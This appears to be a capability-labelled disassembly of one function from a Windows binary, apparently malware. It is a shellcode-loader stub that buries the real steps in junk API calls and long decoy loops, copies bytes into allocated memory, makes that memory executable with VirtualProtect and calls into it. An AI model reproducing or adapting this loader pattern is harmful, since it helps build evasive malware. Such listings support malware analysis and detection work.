Function at 0x40b0a0
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Connect pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location
Set console window title
Set http header

Disassembly:
push 0xffffffffffffffff
push 0x410c26
mov eax, dword fs:[0]
push eax
sub esp, 0x894
mov eax, dword [0x42907c]
xor eax, esp
mov dword [esp + 0x890], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x42907c]
xor eax, esp
push eax
lea eax, [esp + 0x8a8]
mov dword fs:[0], eax
mov edx, dword [0x42ad80]
mov ecx, dword [0x52aef4]
xor ebx, ebx
xor eax, eax
mov esi, 0xec58acac
cmp eax, 0x8450db
jne 0x40b0fd
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x40b115
mov dword [0x42c4d0], esi
mov dword [0x42c4d4], 0xffffffff
inc eax
cmp eax, 0xb9fa618
jl 0x40b0f0
mov edi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x52aef4], ecx
xor esi, esi
jmp 0x40b130
cmp esi, 0x562d05
jne 0x40b142
mov eax, dword [0x42ad74]
mov dword [0x52b27c], eax
cmp ecx, 0x3c
jne 0x40b150
push ebx
call edi
mov ecx, dword [0x52aef4]
inc esi
cmp esi, 0x5f6c74
jl 0x40b130
mov ebp, 0xf
cmp ecx, 0x7c
jne 0x40b2e6
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
lea edx, [esp + 0x6c]
push edx
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.USER32.dll_CopyRect]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push ebx
push ebx
lea ecx, [esp + 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov esi, dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call esi
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalHandle]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
cmp dword [0x52aef4], 0x2d
jne 0x40b204
push ebx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x8b0], ebx
mov edi, 0x30
mov eax, str.konimujakujixegayemegepon_focubilimefemapasufaha
lea esi, [esp + 0x34]
mov dword [esp + 0x48], ebp
mov dword [esp + 0x44], ebx
mov byte [esp + 0x34], 0
call fcn.004011d0
push 1
lea ecx, [esp + 0x28]
mov byte [esp + 0x8b4], 1
call fcn.00401450
mov byte [esp + 0x8b0], 3
mov edi, dword [esp + 0x28]
cmp edi, ebx
je 0x40b272
mov eax, esi
mov dword [edi + 0x10], ebx
push eax
mov dword [edi + 0x14], ebp
or eax, 0xffffffff
xor ebx, ebx
mov ecx, edi
mov byte [edi], 0
call fcn.004015a0
add edi, 0x1c
cmp dword [esp + 0x48], 0x10
jb 0x40b289
mov ecx, dword [esp + 0x34]
push ecx
call fcn.004024b9
add esp, 4
push ebx
call fcn.004024c4
mov dword [esp + 0x8b4], 0xffffffff
mov ebx, dword [esp + 0x28]
add esp, 4
test ebx, ebx
je 0x40b2de
mov esi, ebx
cmp ebx, edi
je 0x40b2d5
jmp 0x40b2b0
cmp dword [esi + 0x14], 0x10
jb 0x40b2c1
mov eax, dword [esi]
push eax
call fcn.004024b9
add esp, 4
mov dword [esi + 0x14], ebp
mov dword [esi + 0x10], 0
mov byte [esi], 0
add esi, 0x1c
cmp esi, edi
jne 0x40b2b0
push ebx
call fcn.004024b9
add esp, 4
mov ecx, dword [0x52aef4]
xor ebx, ebx
cmp ecx, 0x110a
jne 0x40b3d6
push ebx
push ebx
push ebx
push ebx
mov dword [0x52aee8], ebx
mov dword [0x52aeec], ebx
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
cmp dword [0x52aef4], 0xcc
jne 0x40b31e
mov dword [0x42c4c8], 0x14
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push str.madedokecof
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push str.bohomecocomoxiwolepadewusavapexo
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
call fcn.00402251
xor edx, edx
add esp, 4
lea esi, [edx + 1]
lea eax, [esp + 0x34]
mov dword [esp + 0x48], 7
mov dword [esp + 0x44], ebx
mov word [esp + 0x34], dx
call fcn.004012a0
push str.0__s__d__f
mov dword [esp + 0x8b4], 4
call fcn.00402362
add esp, 4
push ebx
call fcn.00402251
mov edi, esi
add esp, 4
mov eax, 0x4278ac
lea esi, [esp + 0x50]
mov dword [esp + 0x64], ebp
mov dword [esp + 0x60], ebx
mov byte [esp + 0x50], 0
call fcn.004011d0
push ebx
push ebx
call fcn.00402211
push 0x4278ac
push 0x42bfd0
call fcn.00401ce4
push ebx
call fcn.004024a2
add esp, 0x14
push ebx
call fcn.004027ae
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x52aef4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x52ac18], eax
cmp dword [0x52aef4], ebx
jbe 0x40b44d
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
jmp 0x40b410
mov ecx, dword [0x52b27c]
mov dword [esp + 0x18], ecx
mov eax, 0xa231
add dword [esp + 0x18], eax
cmp dword [0x52aef4], 0x5ab
mov edx, dword [esp + 0x18]
mov al, byte [edx + esi]
mov ecx, dword [0x52ac18]
mov byte [ecx + esi], al
jne 0x40b444
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x52aef4]
jb 0x40b410
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x4278b0
call esi
mov eax, dword [0x52aef4]
mov ecx, dword [0x52ac18]
lea edx, [esp + 0x20]
push edx
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x52aef4]
mov ebx, dword [0x52ac18]
mov ebp, dword [0x429f60]
mov edi, eax
cmp eax, 0x930
jne 0x40b49b
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x52aef4]
mov dword [0x42c4cc], ebp
cmp eax, 0x114e
jne 0x40b4bd
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
call esi
mov eax, dword [0x52aef4]
cmp eax, 0x2f
jne 0x40b4f3
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
xor edx, edx
push edx
lea eax, [esp + 0x20]
push eax
push ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push 0
lea ecx, [esp + 0xa8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push ebx
call fcn.0040af30
add dword [0x52ac18], 0x2560
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
add esp, 4
xor esi, esi
mov ebx, 0xf5bed7
lea esp, [esp]
lea edx, [esp + 0x7c]
push edx
push 0
call edi
push 0
push 0
push 0
call ebp
cmp esi, 0x1a01e
jle 0x40b542
cmp dword [esp + 0x84], ebx
jne 0x40b54b
inc esi
cmp esi, 0x1ece7a52
jl 0x40b520
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleDisplayMode]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor esi, esi
mov ebp, 0x8e46a6f0
cmp dword [0x52aef4], 0xcc1
jne 0x40b572
push 0
push 0
push 0
call ebx
cmp esi, 0x12e6c3
jne 0x40b586
mov eax, dword [0x52ac18]
mov dword [0x52aef0], eax
call eax
cmp dword [0x52aef4], 0x3dc
mov dword [0x52ac1c], ebp
jne 0x40b5ab
push 0
push 0
push 0
push 0
push 0
push 0
push str.vuyareyifovonij
call edi
inc esi
cmp esi, 0x1519a5
jl 0x40b55e
mov ecx, dword [esp + 0x8a8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x890]
xor ecx, esp
call fcn.00401cd5
add esp, 0x8a0
ret